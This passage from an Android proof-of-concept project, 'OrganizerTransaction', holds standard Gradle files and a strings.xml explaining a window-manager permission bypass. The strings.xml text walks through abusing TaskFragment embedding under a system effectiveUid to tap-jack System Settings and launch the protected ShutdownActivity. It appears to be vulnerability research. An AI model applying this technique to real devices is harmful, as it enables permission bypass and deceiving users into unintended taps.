https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | OrganizerTransaction
3 |
4 | Since activities launched inside task fragment are only allowed when
5 | com.android.server.wm.Task#effectiveUid matches one of launched activity or
6 | is system uid, we\'ll need to be in task whose effectiveUid, in order to be able
7 | to launch arbitrary activities inside our TaskFragment.
8 | \nThat is checked in com.android.server.wm.ActivityStarter#canEmbedActivity
9 |
10 | \n\nYet, in order to create TaskFragment, uid of root ActivityRecord within Task
11 | must be equal to one of ActivityRecord creating TaskFragment
12 | \nThat is checked in com.android.server.wm.WindowOrganizerController#createTaskFragment
13 |
14 | \n\nThis is first step when we\'ll create Task that fulfills these conditions and
15 | in the end only contains SecondActivity from this app.
16 |
17 |
18 | Now that we\'re in task that has effectiveUid=system and getRootTask().getUid of this app
19 | we can start launching activities and getting their SurfaceControl-s
20 |
21 | \n\nIn list below you can choose \"System settings\" to launch system settings
22 | and use \"Zoom and set alpha\" option to make settings application translucent and scaled.
23 | This is for demonstration of possible tap-jacking.
24 |
25 | \n\nThe second option (\"Shutdown\") will startActivity com.android.internal.app.ShutdownActivity,
26 | which normally requires signature permission android.permission.SHUTDOWN,
27 | but since activity start is actually happening under Binder.clearCallingIdentity(),
28 | it is allowed. This demonstrates ability to launch activities regardless of permissions
29 | and exported state.
30 |
31 | Zoom and set alpha
32 |
33 | System settings
34 | Shutdown
35 |
36 | Go
37 |
--------------------------------------------------------------------------------
/build.gradle:
--------------------------------------------------------------------------------
1 | // Top-level build file where you can add configuration options common to all sub-projects/modules.
2 | buildscript {
3 | repositories {
4 | google()
5 | mavenCentral()
6 | }
7 | dependencies {
8 | classpath "com.android.tools.build:gradle:7.0.3"
9 |
10 | // NOTE: Do not place your application dependencies here; they belong
11 | // in the individual module build.gradle files
12 | }
13 | }
14 |
15 | task clean(type: Delete) {
16 | delete rootProject.buildDir
17 | }
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 | # IDE (e.g. Android Studio) users:
3 | # Gradle settings configured through the IDE *will override*
4 | # any settings specified in this file.
5 | # For more details on how to configure your build environment visit
6 | # http://www.gradle.org/docs/current/userguide/build_environment.html
7 | # Specifies the JVM arguments used for the daemon process.
8 | # The setting is particularly useful for tweaking memory settings.
9 | org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
10 | # When configured, Gradle will run in incubating parallel mode.
11 | # This option should only be used with decoupled projects. More details, visit
12 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
13 | # org.gradle.parallel=true
14 | # AndroidX package structure to make it clearer which packages are bundled with the
15 | # Android operating system, and which are packaged with your app"s APK
16 | # https://developer.android.com/topic/libraries/support-library/androidx-rn
17 | android.useAndroidX=true
18 | # Automatically convert third-party libraries to use AndroidX
19 | android.enableJetifier=true
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Mon Nov 08 17:20:44 CET 2021
2 | distributionBase=GRADLE_USER_HOME
3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.0.2-bin.zip
4 | distributionPath=wrapper/dists
5 | zipStorePath=wrapper/dists
6 | zipStoreBase=GRADLE_USER_HOME
7 |
--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env sh
2 |
3 | #
4 | # Copyright 2015 the original author or authors.
5 | #
6 | # Licensed under the Apache License, Version 2.0 (the "License");
7 | # you may not use this file except in compliance with the License.
8 | # You may obtain a copy of the License at
9 | #
10 | # https://www.apache.org/licenses/LICENSE-2.0
11 | #
12 | # Unless required by applicable law or agreed to in writing, software
13 | # distributed under the License is distributed on an "AS IS" BASIS,
14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 | # See the License for the specific language governing permissions and
16 | # limitations under the License.
17 | #
18 |
19 | ##############################################################################
20 | ##
21 | ## Gradle start up script for UN*X
22 | ##
23 | ##############################################################################
24 |
25 | # Attempt to set APP_HOME
26 | # Resolve links: $0 may be a link
27 | PRG="$0"
28 | # Need this for relative symlinks.
29 | while [ -h "$PRG" ] ; do
30 | ls=`ls -ld "$PRG"`
31 | link=`expr "$ls" : '.*-> \(.*\)$'`
32 | if expr "$link" : '/.*' > /dev/null; then
33 | PRG="$link"
34 | else
35 | PRG=`dirname "$PRG"`"/$link"
36 | fi
37 | done
38 | SAVED="`pwd`"
39 | cd "`dirname \"$PRG\"`/" >/dev/null
40 | APP_HOME="`pwd -P`"
41 | cd "$SAVED" >/dev/null
42 |
43 | APP_NAME="Gradle"
44 | APP_BASE_NAME=`basename "$0"`
45 |
46 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
47 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
48 |
49 | # Use the maximum available, or set MAX_FD != -1 to use that value.
50 | MAX_FD="maximum"
51 |
52 | warn () {
53 | echo "$*"
54 | }
55 |
56 | die () {
57 | echo
58 | echo "$*"
59 | echo
60 | exit 1
61 | }
62 |
63 | # OS specific support (must be 'true' or 'false').
64 | cygwin=false
65 | msys=false
66 | darwin=false
67 | nonstop=false
68 | case "`uname`" in
69 | CYGWIN* )
70 | cygwin=true
71 | ;;
72 | Darwin* )
73 | darwin=true
74 | ;;
75 | MINGW* )
76 | msys=true
77 | ;;
78 | NONSTOP* )
79 | nonstop=true
80 | ;;
81 | esac
82 |
83 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
84 |
85 |
86 | # Determine the Java command to use to start the JVM.
87 | if [ -n "$JAVA_HOME" ] ; then
88 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
89 | # IBM's JDK on AIX uses strange locations for the executables
90 | JAVACMD="$JAVA_HOME/jre/sh/java"
91 | else
92 | JAVACMD="$JAVA_HOME/bin/java"
93 | fi
94 | if [ ! -x "$JAVACMD" ] ; then
95 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
96 |
97 | Please set the JAVA_HOME variable in your environment to match the
98 | location of your Java installation."
99 | fi
100 | else
101 | JAVACMD="java"
102 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
103 |
104 | Please set the JAVA_HOME variable in your environment to match the
105 | location of your Java installation."
106 | fi
107 |
108 | # Increase the maximum file descriptors if we can.
109 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
110 | MAX_FD_LIMIT=`ulimit -H -n`
111 | if [ $? -eq 0 ] ; then
112 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
113 | MAX_FD="$MAX_FD_LIMIT"
114 | fi
115 | ulimit -n $MAX_FD
116 | if [ $? -ne 0 ] ; then
117 | warn "Could not set maximum file descriptor limit: $MAX_FD"
118 | fi
119 | else
120 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
121 | fi
122 | fi
123 |
124 | # For Darwin, add options to specify how the application appears in the dock
125 | if $darwin; then
126 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
127 | fi
128 |
129 | # For Cygwin or MSYS, switch paths to Windows format before running java
130 | if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
131 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
132 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
133 |
134 | JAVACMD=`cygpath --unix "$JAVACMD"`
135 |
136 | # We build the pattern for arguments to be converted via cygpath
137 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
138 | SEP=""
139 | for dir in $ROOTDIRSRAW ; do
140 | ROOTDIRS="$ROOTDIRS$SEP$dir"
141 | SEP="|"
142 | done
143 | OURCYGPATTERN="(^($ROOTDIRS))"
144 | # Add a user-defined pattern to the cygpath arguments
145 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
146 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
147 | fi
148 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
149 | i=0
150 | for arg in "$@" ; do
151 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
152 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
153 |
154 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
155 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
156 | else
157 | eval `echo args$i`="\"$arg\""
158 | fi
159 | i=`expr $i + 1`
160 | done
161 | case $i in
162 | 0) set -- ;;
163 | 1) set -- "$args0" ;;
164 | 2) set -- "$args0" "$args1" ;;
165 | 3) set -- "$args0" "$args1" "$args2" ;;
166 | 4) set -- "$args0" "$args1" "$args2" "$args3" ;;
167 | 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
168 | 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
169 | 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
170 | 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
171 | 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
172 | esac
173 | fi
174 |
175 | # Escape application args
176 | save () {
177 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
178 | echo " "
179 | }
180 | APP_ARGS=`save "$@"`
181 |
182 | # Collect all arguments for the java command, following the shell quoting and substitution rules
183 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
184 |
185 | exec "$JAVACMD" "$@"
186 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @rem
2 | @rem Copyright 2015 the original author or authors.
3 | @rem
4 | @rem Licensed under the Apache License, Version 2.0 (the "License");
5 | @rem you may not use this file except in compliance with the License.
6 | @rem You may obtain a copy of the License at
7 | @rem
8 | @rem https://www.apache.org/licenses/LICENSE-2.0
9 | @rem
10 | @rem Unless required by applicable law or agreed to in writing, software
11 | @rem distributed under the License is distributed on an "AS IS" BASIS,
12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | @rem See the License for the specific language governing permissions and
14 | @rem limitations under the License.
15 | @rem
16 |
17 | @if "%DEBUG%" == "" @echo off
18 | @rem ##########################################################################
19 | @rem
20 | @rem Gradle startup script for Windows
21 | @rem
22 | @rem ##########################################################################
23 |
24 | @rem Set local scope for the variables with windows NT shell
25 | if "%OS%"=="Windows_NT" setlocal
26 |
27 | set DIRNAME=%~dp0
28 | if "%DIRNAME%" == "" set DIRNAME=.
29 | set APP_BASE_NAME=%~n0
30 | set APP_HOME=%DIRNAME%
31 |
32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter.
33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
34 |
35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
37 |
38 | @rem Find java.exe
39 | if defined JAVA_HOME goto findJavaFromJavaHome
40 |
41 | set JAVA_EXE=java.exe
42 | %JAVA_EXE% -version >NUL 2>&1
43 | if "%ERRORLEVEL%" == "0" goto execute
44 |
45 | echo.
46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
47 | echo.
48 | echo Please set the JAVA_HOME variable in your environment to match the
49 | echo location of your Java installation.
50 |
51 | goto fail
52 |
53 | :findJavaFromJavaHome
54 | set JAVA_HOME=%JAVA_HOME:"=%
55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
56 |
57 | if exist "%JAVA_EXE%" goto execute
58 |
59 | echo.
60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
61 | echo.
62 | echo Please set the JAVA_HOME variable in your environment to match the
63 | echo location of your Java installation.
64 |
65 | goto fail
66 |
67 | :execute
68 | @rem Setup the command line
69 |
70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
71 |
72 |
73 | @rem Execute Gradle
74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
75 |
76 | :end
77 | @rem End local scope for the variables with windows NT shell
78 | if "%ERRORLEVEL%"=="0" goto mainEnd
79 |
80 | :fail
81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
82 | rem the _cmd.exe /c_ return code!
83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
84 | exit /b 1
85 |
86 | :mainEnd
87 | if "%OS%"=="Windows_NT" endlocal
88 |
89 | :omega
90 |
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | dependencyResolutionManagement {
2 | repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
3 | repositories {
4 | google()
5 | mavenCentral()
6 | jcenter() // Warning: this repository is going to shut down soon
7 | }
8 | }
9 | rootProject.name = "OrganizerTransaction"
10 | include ':app'
11 |
--------------------------------------------------------------------------------